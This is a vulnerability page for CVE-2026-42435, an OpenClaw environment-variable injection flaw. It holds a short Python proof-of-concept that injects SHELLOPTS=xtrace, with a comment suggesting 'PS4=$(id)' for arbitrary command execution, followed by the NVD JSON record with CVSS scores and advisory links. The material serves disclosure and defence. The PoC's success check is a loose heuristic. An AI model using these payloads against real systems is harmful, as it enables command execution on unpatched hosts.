CVE-2026-42435

import subprocess import sys # PoC for CVE-2026-42435: OpenClaw Environment Variable Injection # This script demonstrates how an attacker can inject environment variables # via argv to bypass shell-wrapper detection and manipulate shell behavior. def exploit_openclaw(target_binary_path, command): # Construct the malicious payload # We inject 'SHELLOPTS=xtrace' to force debug mode and potentially leak data # Alternatively, 'PS4=$(id)' could be used to execute arbitrary commands during tracing payload = "SHELLOPTS=xtrace" print(f"[*] Attempting to exploit {target_binary_path}...") print(f"[*] Injecting payload: {payload}") try: # The vulnerability allows passing variable assignments as arguments # The vulnerable application passes these directly to the shell args = [target_binary_path, payload, command] # Execute the command result = subprocess.run( args, capture_output=True, text=True, timeout=5 ) print("[+] Exploit executed. Output:") print(result.stdout) if result.stderr: print("[-] Error output (might contain debug info due to xtrace):") print(result.stderr) # Check if SHELLOPTS was effectively set (heuristic check) if "+" in result.stderr or "trace" in result.stderr.lower(): print("[+] Potential success: Debug traces detected in output.") except FileNotFoundError: print("[-] Error: Target binary not found.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py /path/to/openclaw "ls" if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <openclaw_path> <command_to_run>") sys.exit(1) exploit_openclaw(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2026-42435", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:17.910", "lastModified": "2026-05-05T19:47:31.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions from 2026.2.22 before 2026.4.12 contain an insufficient shell-wrapper detection vulnerability allowing attackers to inject environment variable assignments at the argv level. Attackers can bypass exec preflight handling to manipulate high-risk shell variables like SHELLOPTS and PS4, affecting execution semantics and security controls."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/8f8492d172f4c5b4fd7dd9a47855ed620c8770ab", "source": "[email protected]"}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j6c7-3h5x-99g9", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/openclaw-shell-wrapper-detection-bypass-via-environment-variable-assignment-injection", "source": "[email protected]"}]}}